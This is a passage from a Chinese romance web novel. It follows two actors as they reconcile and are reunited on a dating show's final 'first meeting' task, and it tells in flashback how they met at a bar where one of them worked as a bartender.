陆屿洲点点头,轻咬了一下他的嘴唇:“说以后再也不让你难过,不让你一个人面对,不让你打不通我的电话,一个人在这里出来喝酒。” 季沨终于抬头,讶异地看了他一眼,眸中开始蔓延一点红。 陆屿洲便吻上了他的唇角,握着季沨的腰,轻声解释:“对不起,我睡着了。” 手指稍稍往上,滚烫的掌心在季沨腹部按了按:“胃疼不疼?” 他从郝景家里急匆匆地跑出来,不是郝景以为的因为被忽视而生气。 也不是季沨以为的……因为吃醋而愤怒。 只是……季沨曾经因为胃出血住过院,他不想让他喝太多酒。 陆屿洲按着那脆弱的器官轻轻地揉了揉:“下次换成气泡水好不好?” 下次要是再做了让他不开心的事情,不用喝酒,坐在这里喝气泡水就好了。 他还是一样会乖乖过来道歉的。 季沨眼眸一垂:“谁来酒吧喝气泡水?” “我给你放一点在这里,让阮嘉看着你。” “不可能,我……” 陆屿洲难得强硬,压根没等他反驳:“季沨,我见过郁容了。” 季沨的声音戛然而止,静静地望着他的眼睛:“我知道。” “你不想知道我们说了什么吗?” 眼眶有些发红,季沨轻轻地摇了摇头。 “我喜欢你。” 那双发红的眼睛笑了起来:“我知道。” 于是陆屿洲便没有再继续说了。 总是反复猜测退缩犹豫,他们从前在不该有的环节里浪费了太多时间,于是现在,便什么都不必说了。 陆屿洲凝望着季沨的眼睛,想起他和郁容坐在包厢里,那人问:“你不想知道那张单子的结果吗?” 陆屿洲也是这样摇了摇头。 “我想理解错了,”陆屿洲站起身来,“我对这个并不感兴趣,我只要知道刘庚和导演曾经试图欺负过季沨就行了。” “对于这一点,那个单子结果影响不了什么,你凭什么以为我会在意一个已经对结果产生不了影响的判断呢?” “郁先生,我跟你这才是第一次正式见面,”陆屿洲冷声道,“你凭什么会觉得我因为你的三言两语,来质疑自己的爱人?” “娱乐圈的尔虞我诈让你变得功利又多疑,但请不要这样揣测我和季沨。” 陆屿洲道:“我来找你问唇语,只是想知道——” “他是不是……很多年前就喜欢过我?” 想到这一点,陆屿洲便从肺腑感觉到酸楚,胸腔起伏了几下,眼眶变得和季沨一样的红:“我喜欢你,季沨。” “我知道,”他一哭,季沨却又笑了起来,伸手碰了碰他的眼睛,“你刚刚说过了。” “那是昨天的,”陆屿洲说,“这句是今天早上的。” “好吧。”季沨无奈地笑了笑。 “不用你笑,不用你哄我开心,”陆屿洲的眼眶反而更加红了些,捧着他的脸深深地吻了上去,“季沨,我真的,真的很喜欢你。” 季沨想说他知道了,但是很快口腔很快被横冲直撞的舌头占领,陆屿洲吻得很急,连呼吸都被紧紧掠夺,季沨脖颈后仰,除了呜咽说不出别的话来。 陆屿洲并不觉得季沨知道。 他的爱比郁容以为的要多得多,比郝景以为的也要多得多,还要比季沨以为的要深一点。 这样每天说一遍,等到一百岁,他们就是一样的了。 两个人的都有些情动,一直吻到彼此气喘吁吁,衬衫开了两颗纽扣,陆屿洲这才放开季沨,想了想,又重复道:“以后不许和人在单独在包厢里谈事情。” 他不再说问句,不再做一个焦急的旁观者。 如果季沨需要用这种方式来确认的话,那就他给他安全感。 陆屿洲在他腰间的软肉上捏了一下,又命令:“也不许背着我喝酒。” “好。” 陆屿洲手指在他的腰窝上滑了一下,用季沨以前的语气说:“这么乖啊,季老师?” 只可惜季沨压根没有陆屿洲羞涩,不躲不避地抬起眼,光是一个眼神就足够挑逗:“那怎么办,陆老师刚才答应了我那么多事,礼尚往来?” “好,”陆屿洲点点头,“那我也礼尚往来一下。” “季沨,你要不要跟我回家?” 季沨讶异地看了他一眼:“你家?” “嗯。”陆屿洲说,“我在这里只有一个家。” “密码是你的生日。” 陆屿洲说得如此自然,好像他很久之前就想告诉季沨这件事,季沨在挑逗的时候波澜不惊,这时候却微微偏过头:“这也是礼尚往来?” “结婚也是礼尚往来,”季沨试图消解这件事的意义,陆屿洲就偏要拔高它,用嘴唇去碰季沨偏过的侧脸,是和那天在剧组一模一样的撒娇:“跟我回家吧季老师。” “助理说你晚上没吃东西,我给你煮点汤。” “我家也可以煮汤。” “你家没有食材。” “可以点外卖。” “这么晚了,麻烦外卖不好吧?” “我可以给他打赏。” “季沨!”陆屿洲开始有些急了,一只手按住季沨的肩膀,他那与年龄相符幼稚只有在季沨这里才会显露,恶狠狠道,“跟我回家!” “可是你连个正当理由都没有,”季沨眉眼一挑,光是笑着就很有风情,“就这样邀请暧昧对象回家过夜,不太好吧?” “家里有我。”若是以前陆屿洲不会这么直白地讲话,但是自己没有安全感的人是给不了别人的,于是他盯着季沨敞开的衬衫,眼中是不加掩饰的深切欲望,“你跟不跟我回去?” “好吧。” 季沨彻底笑了起来,眯起的眼睛盖住了刚刚湿润过的红,慢悠悠抬手系上纽扣:“那就……却之不恭了。” 第63章 第六十三章 陆屿洲的家跟想象中的不太一样。 季沨推门的时候, 已经做好了看到清一色黑白灰的准备,结果灯一打开,才发现是如此的……五彩缤纷。 水晶雕琢的八宝盒, 掐丝珐琅花瓶,亚克力悬浮海报, 鸢尾水晶灯,粉玛瑙大理石桌……年代各异色调杂乱, 但是摆放起来却又莫名得舒服和谐。 “你家……”季沨忍不住回头, “不会是什么保护文物吧?” “不是, 都是我爸妈随便带回来的,我嫌乱就随便布置了一番。” 陆屿洲将拖鞋从鞋架上拿下来放在季沨脚边, 语气颇有几分昏君的架势:“看上什么给你扔着玩。” 季沨笑了下低头换鞋, 玄关处还摆着一本漂亮的万年历, 看样子似乎翻了不少次。 季沨忍不住看了一眼,上面还写了一行字:“爱是一个时期为了粉饰性/欲而想象出来的东西。” “哦,”季沨眉眼一挑,“怪不得记得这么清呢, 敢情是每天朗读并背诵一遍啊陆老师。” “所以你现在带我回来, 是因为打算找个人粉饰一下?” “那个,我……” 陆屿洲此刻的感觉很像是第一次看小黄片结果被父母推门抓了个正着,一只手搭在柜边, 试图从季沨手中夺过来,将那本万年历给重新塞过去。 谁知道还没碰到, 季沨突然将它从左手转到了右手, 手腕一转往背后一藏:“陆老师, 从我手里抢东西,”他眉梢一挑, 视线从上扫到下,“你好像不太行吧。” 陆屿洲眼眸一深,因为这句话激出了几分胜负欲,猛地朝着季沨抓过去。 可季沨本来就是练舞的,身体灵活得不像话,腰身一弯,游鱼一样从他臂弯钻了出去,陆屿洲几乎没看的动作,季沨就脚步一滑,迅速从玄关到了客厅,晃了晃手中的万年历:“怎么样,陆老师?” 陆屿洲从小到大还没受过这样的挑衅,抬手将袖口一卷,朝着季沨追了过去。 房间里的风铃被他们撞了一下,叮叮咚咚地响个不停,不倒翁晃了晃,又迅速扶着帽子站稳身体。 这个房间里所有丰富的陈设终于有了它该有的生气,季沨虽然灵活,但终究在体力上不如陆屿洲,被压着靠在挂毯上,陆屿洲一只手圈在他的手腕,看着季沨额上挂着的薄汗和起伏的胸膛。 他的脸上难得带了点少年气,连笑容也是亮晶晶的。 “好了好了,不跟你跑了,”季沨正要松开手腕把东西给他,“你体力好了行吧。” “不要了。”陆屿洲突然道。 “嗯?” 季沨抬起头,看着陆屿洲将那张画着无数分割窗棂的扉页撕下来,露出第二页湛蓝广阔的天空:“用这一页。” 他说着,从旁边拿了支笔:“你来写。” “写什么?” “就写……”陆屿洲望着他的眼睛,轻声道: “爱是自由意志的堕落。” 季沨忍不住看了他一眼,却在刹那间明白了陆屿洲的意思。 爱是自由意志的堕落,所以无论你如何抗拒,如何揣测,当它真正来临的时候,都只能任由自己堕入失控的边缘。 季沨的字很好看,陆屿洲却在这个时候吻他,最后一笔猛地一颤,瞬间写了出去,季沨刚要皱眉,于是陆屿洲接过笔来,在那出去的一画上补了一下,将它化成一个爱心。 那根画出去的细长的线被他延长,添上一只手,手指往上延伸成手臂,肩部,脖颈,脸…… 小人旁边又多了一个小人,十指紧扣。 湛蓝如洗的天空里,那句话仿佛是他们放飞出去的风筝 “爱是自由意志的堕落。” 所以他可以允许任何形式,和任何状态的到来。 “陆老师,”季沨盯着陆屿洲勾线时微微曲起的手指,“有没有人说你手很性感?” 陆屿洲一抬头,看到季沨笑意吟吟的眼睛。 “别勾了我,季沨。” 陆屿洲手指紧了紧,语气无奈:“我还要去煮汤。” “好吧。”季沨这才靠回去,手指轻轻地拨了下旁边的风铃。 是用贝壳和海螺穿的,中间加了一些玉石,晃起来环佩叮当:“这是什么?” “六岁的时候,我妈送我的生日礼物。” “哦,”季沨停住了手,又将万年历给摆回原位,“那这个呢?” “我爸给我的,他第一次跟着科考队出远门的时候我不让他去,他跟我说等过了2月29号他就回来了。”陆屿洲面无表情,冷冷道,“我后来才知道,二月才四年才有一个29号,我要是真的信,起码得翻三年。” 季沨将万年历往前翻了翻,还真的在某一年的2月找到了最后被涂黑的格子,用力之大,现在都能感觉到怨气,忍不住笑了下:“那其实……你爸妈还是挺爱你的。” “或许吧,”陆屿洲将万年历合上了,“不过跟我过日子的是你,他们回不回来也无所谓了。” 陆屿洲神色自然,仿佛这是理所应当的事情,又问季沨:“你生日呢,都收到过什么?” 季沨手指撑着吧台靠回去:“我没有过过生日。” 陆屿洲抬眸看了他一眼。 “你不知道有个说法吗?”季沨笑了下,“说孩子的生日就是母亲的受难日。” 季沨刚有记忆的几年里,都在惴惴不安地担心着母亲会扔掉自己,拼了命地想要讨她开心,连自己的生日也当成母亲的节日过。 他也从来没有要过任何礼物。 “后来粉丝会送一些吧。”季沨说,“不过都是工作室那边收得,太贵会返回去,贺卡会在直播的时候读,久而久之,也就没什么感觉了。” 季沨讲起来很平静,他自己也没觉得这是什么事情,不过是陆屿洲问道才聊起来,一回神才发现陆屿洲的眼神:“这么盯着我干什么?” “粉丝的不可以收……” 陆屿洲说着打开旁边的抽屉,从中取了个盒子出来:“那我的可以吗?” 礼盒打开,那是和当时季沨送给陆屿洲的那块表一个系列,只是现在这款显然要更精致更合适,陆屿洲特意跟设计师沟通过,表盘外用矢车菊蓝钻做了一圈点缀,内侧还有季沨的名字缩写。 陆屿洲握起季沨的手腕替他戴上,又放在灯光下比了比,满意道:“我就知道很适合你。” 他的审美一向不错,季沨垂下眼睛,长长的睫毛覆盖住神色,指腹捻了捻表盘:“什么时候买的?” “你之前送我的时候就定了,”陆屿洲说,“本来打算找个机会送给你,现在觉得今天也挺好的。” “今天又不是我生日。” “又不是非要生日才可以送礼物,”陆屿洲靠在他的耳边,“恋人之间,不是想什么时候送什么都可以吗?” “我们是恋人吗?” “早晚会是。” 现在不是他就再追一会儿就好了,陆屿洲并不在意一个称呼的问题,在季沨耳垂亲了一下,又用舌尖舔舐,恶劣道:“怎么收个礼物耳朵就这么红啊季老师?” “不知道,”季沨这才抬起眼睛,他的眼尾有些红,很难说是因为欲望还是别的什么,“那可能是因为我第一次收到礼物?” 但是出口的话却是轻佻的:“不然你再多送两件,看看我会不会全身都变得发粉?” 季沨说着脖颈微微后仰,那一刻的风情,陆屿洲恨不得把整个家搬空了给他。 但季沨只是伸出一根手指推了推他的胸膛:“不是说要煮汤吗?再不去都要到明天早上了。” 陆屿洲胸膛起伏,却又惦记着季沨的胃,后者当然要比前者重要一些,于是尽管不甘心,还是乖乖地起了身。 季沨一直等到陆屿洲彻底转身,才拉了拉袖口,像是要将那块表妥帖地盖住了,轻声道:“五年前,我也收到过一块。” 陆屿洲拉着冰箱的手一顿。 纵使他已经猜到那个人或许并不是别人,但还是第一次听到季沨提起这件事:“那……” 陆屿洲刚要开口,季沨便已经换了话题:“你在家经常自己做饭吗?” 陆屿洲无奈地轻笑了下,不过反正他们也不急于这一时,于是顺从地接过话:“没有,”陆屿洲摇摇头,“大部分是阿姨过来做的。” 季沨望了眼打开的冰箱,里面的食材几乎都是自己爱吃的,连上方的一排汽水也是。 “这些也是阿姨买的?” “这些不是,我买的,”陆屿洲打开水龙头,“你以后要是过来住,方便一些。” 季沨微微挑眉:“我过来住?” “嗯,”陆屿洲说,“季沨,我所有的房子,也都是一个密码。” “包括蓬塔那一套。” 季沨摩挲了下手上的腕表,偏了下头,却又忍不住道:“我的生日网上随便一搜就知道,你不怕入室盗窃啊?” “那怎么办,谁让你这么火?” 陆屿洲推卸责任这一招倒学得不错:“要不然,你也过两个生日?” “我过两个干什么?” “一个跟粉丝过,”明星的生日一般都要搞什么生日会,也算是营业的一种,其实人搞下来往往很累,“另一个我们单独过啊。” 陆屿洲似乎觉得自己很聪明:“这样我一年就能送你两个生日礼物了。” “我收那么多生日礼物干什么?” “不是你自己说收多了全身都会变红吗?”陆屿洲将锅拿到手下冲洗,手指都变得湿淋淋,“我还挺想看看的,季沨。” “看这个倒不用那么麻烦,”季沨打量着陆屿洲被西装裤箍住的腰身,和下方充满力量的长腿,“你把自己衣服脱了在我外面跳个舞也是一样的效果。” 他们床上什么话都做过,早就不拘于这点嘴上功夫,陆屿洲切着番茄:“我腰没有季老师的软。” “脱衣舞又不用腰,陆老师腹肌这么好看,给你找个钢管蹭上去也是一样的。”季沨四处打量了一圈, “哦,我觉得你家的那个玛瑙桌就很不错,不然你去……” 陆屿洲指骨按在刀背上,眼眸微微眯起,已经是兽类进攻前的警戒姿态:“季沨,我在做饭。” “其实我刚刚就想说了,”季沨笑意盈盈,“我上面好像真的不是很饿。” “陆老师,你要不要先喂喂下面呢?” 刀身砰得一声砸到案板上。 刚放上水的锅果然没有用上,整个房间只有风铃响个不停,那张玛瑙桌果然用上了,只是上面的餐品换了一个,发红的肌肤映在粉色玛瑙上,分不清哪一块玉更漂亮。 暖玉握在掌心,之前跳过的话题再也没有人顾得上询问,不过陆屿洲很快就后悔了。 因为,恋综的第四期开始了。 作为最后的收官之战,节目组似乎把所有人的花样都放在了这里,还没有开始宣布任务,一上来就先分开了CP们。 所有嘉宾也并不见面,各自待在一个房间,空荡荡的桌上只有一个节目组分发的手机。 就在这惴惴不安的气氛里,潘叙的声音终于传了出来—— “恋综的最后,我们的主题是‘初遇’。” “恋爱中有过歇斯底里的争吵,有过柴米油盐的无奈,有过分分合合的过程,但是促使我们不断走下去的,只能是我们初见的时候。因此,各位最后的任务是——” “回到你们初见的地方。” “两人回到相同地点才算是最后的胜利,在此过程中,两人有且仅有一次沟通的机会。” “沟通过程中只能进行回忆,不得有任何地名和指向性的地点暗示,否则就直接按照任务失败处理。” “下面,各位可以开始对话了。” 话音刚落,何皎皎第一个摸到话筒:“晚晚!我们第一次下…” 滴—— 听筒里发出刺耳的声音,宋晚那边直接消了音,潘叙重申规则:“只能讲述回忆,不可以进行地点暗示。” 何皎皎咬咬牙,最后对话只能变成了:“那次,你还记得吗!!就是那次你高跟鞋崴了,还是我帮你买的运动鞋!!” 初禾比较聪明一点,他跟江沼没有什么相遇的时候,于是换了个说法:“那天你穿了一件藏蓝色卫衣,吴老师说很衬你的肤色。” 这是他们之前在节目上的相遇,虽然听起来没什么新意,但起码保证不会出错。 商序的姿态老练娴熟:“秋天的气息很好闻,有桂花落在你的发间,我那个时候去给朋友捧场,一转身就看见了你。” “你系着围裙,身上有咖啡豆的香气。” 不能限制空间那就限制时间,商序用词很巧妙,比起前两个,这一对更加接近于一场浪漫的邂逅,而且直接将场景放在了秋日的咖啡馆。 这样大大缩小了范围,但是,有一个致命的问题—— 【卧槽,外面咖啡馆那么多,这得真的见过才会能猜得出来吧?】 【肯定啊,虽然不是说初见,但起码要见过一次才能真的过去。】 【很好,浪潮褪去,现在哪对是营业哪对私下还有过联系已经一目了然了,奉劝如果真的见都没见过的就直接像初禾那么说,虽然大家都见了你们俩,但好歹能找到人不是?】 【不是啊草,我记录呢!为什么还不把我记录放出来,啊啊啊啊他俩到底是不是真的,我手抖了我真的手抖了啊!!!】 “陆屿洲?”电话响起了三声,季沨终于握起来。 “嗯。”陆屿洲轻轻地应了声,他没有询问,而是等着季沨开口。 季沨轻轻地抚了下腕上的手表:“你还记得上次节目结束的时候你问我的那个问题吗?” 陆屿洲手指一紧,听到季沨道:“如果这一次,我们真的能再默契一回,我就答应你。” 【什么?!!!什么上一次,上一次说了什么啊啊啊啊!!!】 【是之前拍vlog那次嘛,天杀的节目组快给我放出来!!!是什么啊是什么是什么啊!】 【季沨的这个问法一个有效提示都没有啊,卧槽他俩难道真的线下有什么啊啊啊啊!!!】 【都这个份上了怎么可能没什么,卧槽卧槽你们到底在什么地方见过啊!!!】 镜头一闪,就看到陆屿洲在听到这句话之后,握着手机猛地跑了出去。 摄影拍摄的速度几乎跟不上他开车的动作,身后树木掠出一道残影。 “陆,陆老师,”副导扶着车门瑟瑟发抖,“我们……也许我们可以慢一点。” 车子在门口转了个回旋,陆屿洲打开车门:“你们可以先在车上休息。” 两人哪里敢休息,几乎是扛着摄像机跟过去。 托副导敬业的福,众人终于得以见到了最后到达的地点—— 山庄很漂亮,进门的宴会厅里还有刚摆上的红酒和香槟,一看就是觥筹交错的聚会场所。 【卧槽,这里不是聚会用的吗??】 【难道是宴席上认识的?也是,虽然镜头前没什么接触,但是圈里的聚会也很正常。】 【淦,亏我还以为是什么追尾音乐节音乐厅之类的浪漫场所,算了算了,估计可能真的只是眼出来的吧。】 【????难道不能是聚会上一见钟情吗?怎么,难道相亲就没有真爱了?】 【笑死,CP粉就是嘴硬,还一见钟情,圈里是没有他俩的照片吗,早干嘛去了,你怎么不说他俩一见就能搞在床上死去活来啊?】 陆屿洲脚步一顿,视线往门口的吧台处望了一眼。 那一天,季沨就站在这里调酒。 黑色蝴蝶在季沨的指尖燃烧,那人连笑容也漂亮像幅画,那是他第一次感受到自己如此强烈的心跳。 陆屿洲收回视线,猛地迈开长腿上了楼。 【????怎么上楼了,卧槽卧槽卧槽!】 【啊啊啊有没有人知道楼上是什么啊!】 【我之前跟我一个小叔叔去过……这里楼上……不是酒店吗?】 【????酒店,卧槽什么酒店,他俩在酒店?!!】 【安啦安啦安啦,说不定只是对戏呢节目组安排同住呢,退一万步讲,就不能是在酒店走廊偶遇吗?】 【据我所知,这里的酒店是一概不对外接拍的,季沨和陆屿洲除了这个节目好像也没有什么合体的项目,而且——】 而且,陆屿洲一路不停,连个拐弯都没有,没有往走廊楼梯口等任何地方看一下,就径直到达了一个房间的门口。 房间号:520 由于这三个数字,一般酒店都会把它当作是情侣房使用,也许还有人抱有一丝不切实际的期望。 但是,镜头向上一扫—— 房间号的门牌上,酒店很有创意地贴了一个心,上面还画着两个接吻的小人。 CP和唯粉齐齐沉默。 唯有陆屿洲终于停下了脚步,站在门口,胸膛起伏。 随后深吸一口气,手指搭在门把上—— 猛地滑下。 第64章 第六十四章 吧台旁, 季沨手指一转,蓝色酒液像是倒流的湖泊。 杯口的纸蝴蝶展翅欲飞,季沨指腹轻轻一抹, 火焰便蓦地燃烧起来,他今天难得穿了西服, 剪裁昂贵的布料紧贴着腰身,侧脸映在晃动的光晕里, 像是一幅漂亮的画。 “黑色蝴蝶, ”隋易坐在旁边, “果然你就喜欢这些花里胡哨的东西。” * “黑色蝴蝶。” 调酒师的指腹往杯口的蝴蝶一抹,蔚蓝的火焰升腾起来。 他退后半步, 朝着呼喊的人群微一躬身, 将托盘上酒杯往前一推, 笑容明艳:“欢迎享用。” 燃尽的火焰将灰烬抛落地上,二十岁的脸庞尚显青涩,但这张脸却足够漂亮,宽肩窄腰线条分明, 明明是统一制式的西装, 穿在他身上却有种别样的引诱。 “卧槽,好帅啊!” “小哥哥加个微信!” “哥哥在哪里住啊,有没有女朋友?” 周围的目光是赤裸裸的暧昧打量, 不过季沨早已习惯了这些,斜倚着酒架擦杯子, 但笑不语。 “调得不错。” 刚刚点酒的女士发话了。 这人身上的小香风套装和胸口的宝石项链看起来就价值不菲, 更何况无名指上还有一枚鸽子蛋大的钻戒, 一只手撑着脸上,直勾勾地盯着季沨, 语气暧昧:“我很喜欢,弟弟。” “谢谢杨姐,”季沨笑得波澜不惊,“下次调出新品,我肯定第一个给你试酒。” “好啊。” 女士笑盈盈地应下来,抬起手,勾着衬衫将一沓钱塞进他的领口:“这是小费。” 手指沿着胸口抚了一下,季沨低垂的眼眸中划过一丝厌恶,如果这是个男的,如果这是以前,他恐怕已经一拳打了过去。 但是……这不是以前。 他妈还在医院躺着,能挣钱的门路就这些,季沨没有太多选择,他扬起的脸,眼底的阴沉散得干干净净,笑容几近谄媚:“不用这么客气,姐姐下次多点两杯酒就行了。” “点酒你才拿多少提成,还不是让你们老板赚大头,”女士保养精致的手指点点他的胸口, “不然我直接给你怎么样?” 季沨不着痕迹地往后退了一点,面上却依然陪着笑:“我们老板不让私下里接单的。” 季沨拿棉布擦拭着杯子,修长的手指像是被酒液镀了层光,劲瘦的腰身倚着吧台,酒吧的制服自然不会让他们穿得太厚,锁骨形状漂亮,脖颈处还戴了一条鸢尾项链,衬得人明艳漂亮,这种品质,在整个酒吧街里都少见。 “不是这个单,”女士眸色深邃,语气带着明晃晃的挑逗,“不然……你换个地方工作。” “跟姐姐回去?” 季沨动作一滞:“我不是……” “不用急着回答我。” 女士并不在意他说什么,她这个年龄和阅历的人,看季沨这种小年轻几乎是一目了然,更何况她已经为了这张脸在这里待了一周。 她知道眼前的年轻人有一个重病住院的母亲,刚上大学就要出来打工。 他聪明又有谋略,别人都是做个服务生卖卖酒就心满意足,他却用短短两个月的时间没日没夜地学了调酒,趁着前任调酒师离岗的机会,在众目睽睽下帮老板救了急。 这样的人假以时日也许会成就一番机会,但是疾病却能拖垮一个家庭。 “我知道你妈妈在住院。”上位者习惯开诚布公提出要求,“你这个年纪,应该在学校里好好读书,没必要这么辛苦。” “再说了,你这一天卖酒的提成,还没有我这点小费多。” 女士点点他的领口,细长的美甲充满挑逗:“万一你妈妈真的出点什么事,你得干多久才能凑够她的手术费?” 她已经调查过了,季沨家里没有房车,常年跟着母亲漂泊,相依为命。 这样的孩子过早成熟,但心里肯定还是缺爱的。 于是她说完,便又换了个语气,带着一点循循善诱地哄骗:“不然跟着姐姐,姐姐让你放心读书,给你一个家,怎么样?” 软硬兼施,循序渐进,她并不担心季沨不会上钩。 “等你想清楚了……”女士将名片塞进他的衬衫口袋,隔着薄薄的布料抚了下的胸口,“就给我打电话。” “卧槽,”女士一走,旁边的侍者忍不住道,“这已经是这个月是第四个了吧。” “啧啧啧,怎么就没有富婆姐姐包养我呢,我不介意的!” “她已经结婚了。”季沨淡淡道。 “结婚怎么了,像他们这种家庭,婚姻不过就是个协议罢了,在外面不还是各玩各的,而且我们只是要个钱嘛,”同事搓搓手,“我觉得这姐对你还挺上心的,为了你可是连点了七天的大满贯。” 季沨没说话。 见得多了,他当然分辨得出一个人是真心还是假意,或者只是对漂亮宠物一点兴趣地逗弄。 他薄情寡义的父亲抛弃了他母亲,他母亲又差一点扔了他。 这辈子如果不能得到一次毫无保留的爱,那还不如不要。 “有道理,”但季沨没必要在这种小事上反驳同事,只是弯弯眼睛,“那她下次来了,我让你去送酒,把握机会。” 季沨说着,又将领口的钱拿出来点了一遍:“我出去一趟,你先帮我看一下,有事给我打电话。” “行行行,”季沨人缘一向很好,同事连连点头,“我给你看着,你快去吧。” “好。” 季沨披上衣服准备出门,目光往酒吧里绕了一圈,男男女女都在暧昧扭动,只角落里的沙发上坐了个长相精致的小男生,看着跟未成年似的。 但那张脸又确实很出色,眼睛是琥珀色的,眉骨深邃,鼻梁很高,在周围群魔乱舞的环境里显得有些格格不入的矜贵干净。 “那边你等会儿盯着点,”季沨说,“要是醉了就给人叫个代驾回去。” “哎呦行了,那又不是你弟弟,你那么关心干什么,真是操心命,”同事推推他,“赶紧去吧,等会儿说不定要忙了。” “确实不是我弟弟,不过万一真在这里出了什么事儿,老板问起来不是不好嘛。”季沨笑起来,“辛苦了。” * 深秋的天气有些凉,季沨出了门,拢进了身上的风衣,银行离酒吧有两条街,再旁边就是大学城。 有男生抱着书行色匆匆,女生捧着一杯奶茶,和朋友分吃同一份甜品。 那是属于纸张,银杏,和甜腻的烘焙气味,可季沨身上浓郁的酒气完全不同,他只抬眸望了一眼,路灯从他漂亮的侧脸晃过,便转身进了ATM机。 季沨数了数之前发的工资,又将刚刚收到的小费拿出来,一分不剩地存了进去。 卡号输得轻车熟路:“孟医生,钱我已经打过去了,谢谢你帮我垫付医药费,我妈现在怎么样?” 这已经是晚上12点,季沨本以为要明天早上才能得到回复,谁知道刚出银行,孟海的电话就打了进来:“不太好。” “我们刚刚从急救室出来,护士说你妈妈刚刚有呼吸骤停的情况。我们建议……尽快进行手术。” 握着手机的指骨泛白,季沨脸上依然是带着笑的,语气也温和礼貌:“谢谢孟医生,我知道了,手术费需要多少呢?” 孟海似乎也知道他的家庭情况,好半晌才开口。 那是一个他就算辞了学业没日没夜待在酒吧也要好几年才能完成的数字。 但是疾病从来不会给他这个时间。 季沨开始觉得有些呼吸不畅,他笑着说“辛苦孟医生,我会尽快的”,挂了电话却抬手遮住眼睛。 他觉得自己已经做得够好了。 妈妈想要丢掉他的时候,他笑着说我好爱你要永远对你好,没钱饿得吃不上饭的时候,他笑着跑到牵着孩子的便利店店主的门口问可不可以给他一块过期面包,交不上房租的时候,他笑着穿了件跟相册里小孙子差不多的衣服叫房东奶奶。 他学着微笑,学着照顾人,学着让所有人舒服,学着忍受所有不怀好意的打量,那些关于人心的算计是刻在他骨子里的生存本能,连离岗五分钟都要许诺同事好处确认不给老板留下隐患。 他觉得自己已经足够努力了。 可是好像……从来没有幸运过一次。 耳膜里传来鼓噪的鸣笛声,有那么一瞬间,季沨很想冲进车流,将自己和这个世界一起冲得粉碎。 “同学,同学?”有人在唤他,语气里是清澈的担忧,“你没事吧?” 季沨睁开眼睛,他很累,却还是温和地笑着:“没事儿,酒喝多了,这么晚了,你一个女生,快回学校吧。” 很少有人抵抗季沨这样的笑。 却从来没有人知道 ,很多时候他并不是开心,只是一种本能的反应。 女生一走,季沨的眉眼就低垂下来,他伸出手,将胸口的名片抽了出来。 上面是令人艳羡的职位,和可以想见的年薪。 刚刚被碰过的地方还停留着黏腻的触感,让他感觉到一阵反胃的恶心。 握在手里的名片被捏出褶皱,但是季沨知道,他已经记住了后面的电话。 季沨垂眸点了一支烟,猩红的火焰像是吞噬人的鬼怪,将他漂亮的侧脸映在一半的黑暗里。 “卧槽哈哈哈哈哈他真的喝了!” “挺乖啊宝贝儿,这脸长得真带劲,是不是混血啊?” “看着倒是挺有钱的,没来过这里吧?” “来来来宝贝儿,再喝一口!” 季沨隐隐皱起眉,忍不住抬起眼睛。 刚刚在酒吧里见到的那个小男生正被人团团围着,目光中是恶劣的戏弄和不加掩饰的欲望。 中间那个男人正端着一杯酒逗着男生往嘴里灌,那酒季沨认识,他的拿手戏黑色蝴蝶,来这个酒吧的都喜欢点这个,只是这一杯,他记得男人特意让他将其中的低度酒换成了高度。 他以为这人只是想寻点刺激,却原来是这么个刺激法。 男生被他推得往后退了一步,他应该是已经喝醉了,脸色酡红,脚步晃了一下,忍不住皱起了眉。 但这只会更激起男人的恶劣。 “卧槽,这脸真带感啊。” “老子就喜欢这样的,哭起来肯定更好看吧。” “哈哈哈哈哈哈哥你快去试一试。” 香烟夹在指尖,季沨眉眼扫过那群人,若是以前,他可能最多帮忙报个警,或者有其他一百种可以让自己全身而退的方法。 可是现在……那种强烈的,想要毁掉一切的感觉冲撞着他,好像非要发泄才觉得痛快。 名片被随手扔进垃圾桶,在男人的手拉开那人衣领之前,季沨突然冲上去,猛地一拳砸在他的颧骨上。 “艹!” 男人转过头来,脸上露出凶恶的光:“你找死啊。” 季沨慢悠悠吐出一口烟雾,冷冷道:“滚。” “你妈的,”男人一拳砸过来,“老子让你俩一起滚着求我!” 掐灭手中的烟,季沨一脚踹了上去:“傻逼!” 一个过分漂亮的女人带着一个孩子,季沨从小就会打架。 那些惦记他妈妈的,惦记他的,曾经都被这个孩子凶恶的一面吓到。 季沨一脚正中红心:“起不来的话,不然我帮你行啊。” 男人嚎叫着往地上滚,季沨偏头躲过一人的拳头,腰身一矮按着那人的胳膊向后一折,手腕用力咔嚓一声,将那人扔在了男人身上。 旁边的几个似乎看着季沨不太好惹,目光严肃了许多,有一个甚至从旁边拎了根木棍砸过来,季沨正忙着对付前面的,等那烈烈的风声靠近时,已经来不及转身—— 砰! 千钧一发之际,刚刚喝醉的小男生突然站起了起来,一脚踹上那人的胸膛,握着那人的手腕一折,眼神凶厉,拿起棍子狠狠地砸在他的身上。 季沨不知道刚刚被欺负得眼睛通红的男生还有这样强的战力,却知道这地方不能久待,拉起男生就往巷口走:“走!” 喝醉的男生被他握着手,跌跌撞撞跑过几个街道。 季沨对这里很熟,七拐八拐过了几条街,终于在一个巷口停下。 口袋的手机一直响个不停,季沨松开手,气喘吁吁地靠在墙上,看了一眼来电显示。 店门口出了事,同事将电话打到了他的手机上。 季沨笑了笑,抬手将手机给关机了。 既然再攒几年也不够。 那么这一切的忍耐又有什么意义?费尽心思地去赔笑又有什么意义? 季沨生平第一次做这种事,却觉得心中很畅快,转头望向旁边醉醺醺的男生:“还能走吗?” 陆屿洲没有说话。 他意识不清,朦胧的醉眼甚至看不清那人的脸,只能望见那修长脖颈上晃动的choker,蓝色的丝带上缠了一朵鸢尾花。 “你这是喝了多少,”那人声音很好听,身上的气味也好闻,和刚刚那些令人作呕的酒味儿完全不一样,“低度酒和高度酒都分不清吗,他们让你喝你就喝?” 陆屿洲皱了皱眉,他并不能完全理解季沨的话,只是断断续续道:“酒……”他闻到季沨身上的味道,“很香。” 男生的眼睛清澈干净,像是一汪湖泊。 那是需要很多的金钱和爱才能养出来的脆弱天真。 季沨微微笑了下:“酒是我调的,抱歉。” “这么点大自己跑过来酒吧喝酒,你成年了吗?”季沨问,“你父母电话多少,家住在哪?” “我成年了,”陆屿洲皱起眉,不太满意地强调,“今天是我十八岁的生日。” “好好好,生日快乐小朋友,”季沨说,“给我你爸妈的电话。” “我不是小朋友,”陆屿洲极力证明自己已经长大,然而出口却带着无意识地抱怨撒娇,“我不要回家。” 